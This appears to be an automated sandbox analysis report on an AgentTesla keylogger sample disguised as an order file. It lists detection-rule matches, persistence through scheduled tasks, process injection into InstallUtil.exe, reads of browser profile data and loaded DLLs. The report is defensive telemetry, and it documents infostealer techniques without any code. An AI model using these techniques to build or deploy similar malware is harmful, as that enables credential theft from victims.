Source: 1.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 0.2.GEFA-Order 232343-68983689.exe.4495600.5.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.GEFA-Order 232343-68983689.exe.4495600.5.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload

Source: GEFA-Order 232343-68983689.exe, Lgfcbewc.cs	Cryptographic APIs: 'CreateDecryptor'
Source: Cbgoomiexw.exe.0.dr, Lgfcbewc.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.GEFA-Order 232343-68983689.exe.3475368.1.raw.unpack, Lgfcbewc.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.GEFA-Order 232343-68983689.exe.4495600.5.raw.unpack, 4JJG6X.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.GEFA-Order 232343-68983689.exe.4495600.5.raw.unpack, 4JJG6X.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.GEFA-Order 232343-68983689.exe.4495600.5.raw.unpack, 8C78isHTVco.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.GEFA-Order 232343-68983689.exe.4495600.5.raw.unpack, 8C78isHTVco.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.GEFA-Order 232343-68983689.exe.4495600.5.raw.unpack, 8C78isHTVco.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.GEFA-Order 232343-68983689.exe.4495600.5.raw.unpack, 8C78isHTVco.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 0.2.GEFA-Order 232343-68983689.exe.6f60000.11.raw.unpack, ITaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask'
Source: 0.2.GEFA-Order 232343-68983689.exe.6f60000.11.raw.unpack, TaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'
Source: 0.2.GEFA-Order 232343-68983689.exe.6f60000.11.raw.unpack, Task.cs	Task registration methods: 'RegisterChanges', 'CreateTask'
Source: 0.2.GEFA-Order 232343-68983689.exe.6f60000.11.raw.unpack, TaskService.cs	Task registration methods: 'CreateFromToken'
Source: 0.2.GEFA-Order 232343-68983689.exe.440a100.7.raw.unpack, ITaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask'
Source: 0.2.GEFA-Order 232343-68983689.exe.440a100.7.raw.unpack, TaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'

Source: 0.2.GEFA-Order 232343-68983689.exe.43ba0e0.3.raw.unpack, TaskSecurity.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
Source: 0.2.GEFA-Order 232343-68983689.exe.43ba0e0.3.raw.unpack, TaskSecurity.cs	Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)
Source: 0.2.GEFA-Order 232343-68983689.exe.440a100.7.raw.unpack, User.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: 0.2.GEFA-Order 232343-68983689.exe.43ba0e0.3.raw.unpack, TaskPrincipal.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.GEFA-Order 232343-68983689.exe.6f60000.11.raw.unpack, User.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: 0.2.GEFA-Order 232343-68983689.exe.6f60000.11.raw.unpack, TaskSecurity.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
Source: 0.2.GEFA-Order 232343-68983689.exe.6f60000.11.raw.unpack, TaskSecurity.cs	Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)
Source: 0.2.GEFA-Order 232343-68983689.exe.440a100.7.raw.unpack, TaskFolder.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.GEFA-Order 232343-68983689.exe.440a100.7.raw.unpack, TaskPrincipal.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.GEFA-Order 232343-68983689.exe.6f60000.11.raw.unpack, TaskFolder.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.GEFA-Order 232343-68983689.exe.440a100.7.raw.unpack, TaskSecurity.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
Source: 0.2.GEFA-Order 232343-68983689.exe.440a100.7.raw.unpack, TaskSecurity.cs	Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)
Source: 0.2.GEFA-Order 232343-68983689.exe.440a100.7.raw.unpack, Task.cs	Security API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.GEFA-Order 232343-68983689.exe.6f60000.11.raw.unpack, TaskPrincipal.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.GEFA-Order 232343-68983689.exe.43ba0e0.3.raw.unpack, Task.cs	Security API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.GEFA-Order 232343-68983689.exe.43ba0e0.3.raw.unpack, User.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: 0.2.GEFA-Order 232343-68983689.exe.43ba0e0.3.raw.unpack, TaskFolder.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.GEFA-Order 232343-68983689.exe.6f60000.11.raw.unpack, Task.cs	Security API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@9/2@2/2

Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe

File created: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Mutant created: NULL

Source: GEFA-Order 232343-68983689.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: GEFA-Order 232343-68983689.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: GEFA-Order 232343-68983689.exe	ReversingLabs: Detection: 15%
Source: GEFA-Order 232343-68983689.exe	Virustotal: Detection: 26%

Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe

File read: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe "C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe"
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe "C:\Users\user\AppData\Roaming\Cbgoomiexw.exe"
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe "C:\Users\user\AppData\Roaming\Cbgoomiexw.exe"
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior

Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: dnsapi.dll	Jump to behavior
